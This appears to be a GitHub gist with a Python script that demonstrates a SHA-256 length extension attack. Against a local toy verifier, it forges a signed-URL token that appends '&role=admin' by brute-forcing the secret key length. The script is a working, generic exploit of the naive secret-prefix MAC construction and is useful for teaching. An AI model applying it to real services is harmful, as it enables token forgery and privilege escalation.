Created
October 23, 2025 07:32
-
-
Save jedisct1/13e4eb25de0787b2c07854470a3391ab to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| """ | |
| Demonstrate a length extension attack against tokens computed as | |
| SHA256(secret || signed_url || expiration || remote_ip || query_string). | |
| """ | |
| import base64 | |
| import hashlib | |
| import struct | |
| import urllib.parse | |
| from hmac import compare_digest | |
| # SHA-256 round constants. | |
| K = [ | |
| 0x428A2F98, | |
| 0x71374491, | |
| 0xB5C0FBCF, | |
| 0xE9B5DBA5, | |
| 0x3956C25B, | |
| 0x59F111F1, | |
| 0x923F82A4, | |
| 0xAB1C5ED5, | |
| 0xD807AA98, | |
| 0x12835B01, | |
| 0x243185BE, | |
| 0x550C7DC3, | |
| 0x72BE5D74, | |
| 0x80DEB1FE, | |
| 0x9BDC06A7, | |
| 0xC19BF174, | |
| 0xE49B69C1, | |
| 0xEFBE4786, | |
| 0x0FC19DC6, | |
| 0x240CA1CC, | |
| 0x2DE92C6F, | |
| 0x4A7484AA, | |
| 0x5CB0A9DC, | |
| 0x76F988DA, | |
| 0x983E5152, | |
| 0xA831C66D, | |
| 0xB00327C8, | |
| 0xBF597FC7, | |
| 0xC6E00BF3, | |
| 0xD5A79147, | |
| 0x06CA6351, | |
| 0x14292967, | |
| 0x27B70A85, | |
| 0x2E1B2138, | |
| 0x4D2C6DFC, | |
| 0x53380D13, | |
| 0x650A7354, | |
| 0x766A0ABB, | |
| 0x81C2C92E, | |
| 0x92722C85, | |
| 0xA2BFE8A1, | |
| 0xA81A664B, | |
| 0xC24B8B70, | |
| 0xC76C51A3, | |
| 0xD192E819, | |
| 0xD6990624, | |
| 0xF40E3585, | |
| 0x106AA070, | |
| 0x19A4C116, | |
| 0x1E376C08, | |
| 0x2748774C, | |
| 0x34B0BCB5, | |
| 0x391C0CB3, | |
| 0x4ED8AA4A, | |
| 0x5B9CCA4F, | |
| 0x682E6FF3, | |
| 0x748F82EE, | |
| 0x78A5636F, | |
| 0x84C87814, | |
| 0x8CC70208, | |
| 0x90BEFFFA, | |
| 0xA4506CEB, | |
| 0xBEF9A3F7, | |
| 0xC67178F2, | |
| ] | |
| def _right_rotate(value: int, rotations: int) -> int: | |
| return ((value >> rotations) | (value << (32 - rotations))) & 0xFFFFFFFF | |
| def _sha256_compress(block: bytes, state): | |
| """Process a single 512-bit block.""" | |
| assert len(block) == 64 | |
| w = list(struct.unpack(">16I", block)) | |
| for i in range(16, 64): | |
| s0 = _right_rotate(w[i - 15], 7) ^ _right_rotate(w[i - 15], 18) ^ (w[i - 15] >> 3) | |
| s1 = _right_rotate(w[i - 2], 17) ^ _right_rotate(w[i - 2], 19) ^ (w[i - 2] >> 10) | |
| w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xFFFFFFFF) | |
| a, b, c, d, e, f, g, h = state | |
| for i in range(64): | |
| S1 = _right_rotate(e, 6) ^ _right_rotate(e, 11) ^ _right_rotate(e, 25) | |
| ch = (e & f) ^ ((~e) & g) | |
| temp1 = (h + S1 + ch + K[i] + w[i]) & 0xFFFFFFFF | |
| S0 = _right_rotate(a, 2) ^ _right_rotate(a, 13) ^ _right_rotate(a, 22) | |
| maj = (a & b) ^ (a & c) ^ (b & c) | |
| temp2 = (S0 + maj) & 0xFFFFFFFF | |
| h = g | |
| g = f | |
| f = e | |
| e = (d + temp1) & 0xFFFFFFFF | |
| d = c | |
| c = b | |
| b = a | |
| a = (temp1 + temp2) & 0xFFFFFFFF | |
| return [ | |
| (state[0] + a) & 0xFFFFFFFF, | |
| (state[1] + b) & 0xFFFFFFFF, | |
| (state[2] + c) & 0xFFFFFFFF, | |
| (state[3] + d) & 0xFFFFFFFF, | |
| (state[4] + e) & 0xFFFFFFFF, | |
| (state[5] + f) & 0xFFFFFFFF, | |
| (state[6] + g) & 0xFFFFFFFF, | |
| (state[7] + h) & 0xFFFFFFFF, | |
| ] | |
| def _process_blocks(state, data: bytes): | |
| """Continue hashing from an existing state over 64-byte aligned data.""" | |
| assert len(data) % 64 == 0, "Tail must be a multiple of 64 bytes" | |
| h = list(state) | |
| for offset in range(0, len(data), 64): | |
| h = _sha256_compress(data[offset : offset + 64], h) | |
| return h | |
| def _md_padding(message_length: int) -> bytes: | |
| """ | |
| Produce Merkle-Damgård padding for a message of length message_length bytes. | |
| """ | |
| pad_len = (56 - (message_length + 1) % 64) % 64 | |
| return b"\x80" + (b"\x00" * pad_len) + struct.pack(">Q", message_length * 8) | |
| def sha256_mac(secret_key: bytes, message: bytes) -> bytes: | |
| """Original (vulnerable) MAC construction.""" | |
| return hashlib.sha256(secret_key + message).digest() | |
| def verify_token(secret_key: bytes, token_b64: str, payload: bytes) -> bool: | |
| expected_mac = sha256_mac(secret_key, payload) | |
| supplied_mac = base64.b64decode(token_b64) | |
| return compare_digest(expected_mac, supplied_mac) | |
| def length_extension_attack(original_mac: bytes, known_message: bytes, extension: bytes, key_length: int): | |
| """ | |
| Return (new_mac, glue_padding) for the chosen key length. | |
| known_message excludes the secret key prefix. | |
| """ | |
| glue_padding = _md_padding(key_length + len(known_message)) | |
| total_len = key_length + len(known_message) + len(glue_padding) + len(extension) | |
| tail = extension + _md_padding(total_len) | |
| state = struct.unpack(">8I", original_mac) | |
| forged_state = _process_blocks(state, tail) | |
| forged_mac = struct.pack(">8I", *forged_state) | |
| return forged_mac, glue_padding | |
| def main(): | |
| token_security_key = b"supersecretkey!!" # 16 bytes, unknown to the attacker. | |
| signed_url = b"https://example.com/download" | |
| expiration = b"2025-10-24T00:00Z" | |
| remote_ip = b"" # optional field omitted | |
| original_query = b"?file=report.pdf" | |
| payload = signed_url + expiration + remote_ip + original_query | |
| original_mac = sha256_mac(token_security_key, payload) | |
| original_token = base64.b64encode(original_mac).decode() | |
| print("Original query:", original_query.decode()) | |
| print("Original token:", original_token) | |
| extension = b"&role=admin" | |
| guessed_lengths = range(8, 33) # common API secrets are short; brute-force the length. | |
| for guessed_len in guessed_lengths: | |
| forged_mac, glue = length_extension_attack(original_mac, payload, extension, guessed_len) | |
| forged_query = original_query + glue + extension | |
| forged_payload = signed_url + expiration + remote_ip + forged_query | |
| forged_token = base64.b64encode(forged_mac).decode() | |
| if verify_token(token_security_key, forged_token, forged_payload): | |
| print("\nSuccessfully forged token!") | |
| print("Guessed secret length:", guessed_len, "bytes") | |
| print("Forged token:", forged_token) | |
| print("Forged query bytes:", forged_query) | |
| encoded = urllib.parse.quote_from_bytes(forged_query) | |
| print("Forged query (safe for HTTP):", encoded) | |
| print( | |
| "Server still accepts forged token:", | |
| verify_token(token_security_key, forged_token, forged_payload), | |
| ) | |
| break | |
| else: | |
| print("Attack failed. Try extending the secret length search range.") | |
| if __name__ == "__main__": | |
| main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment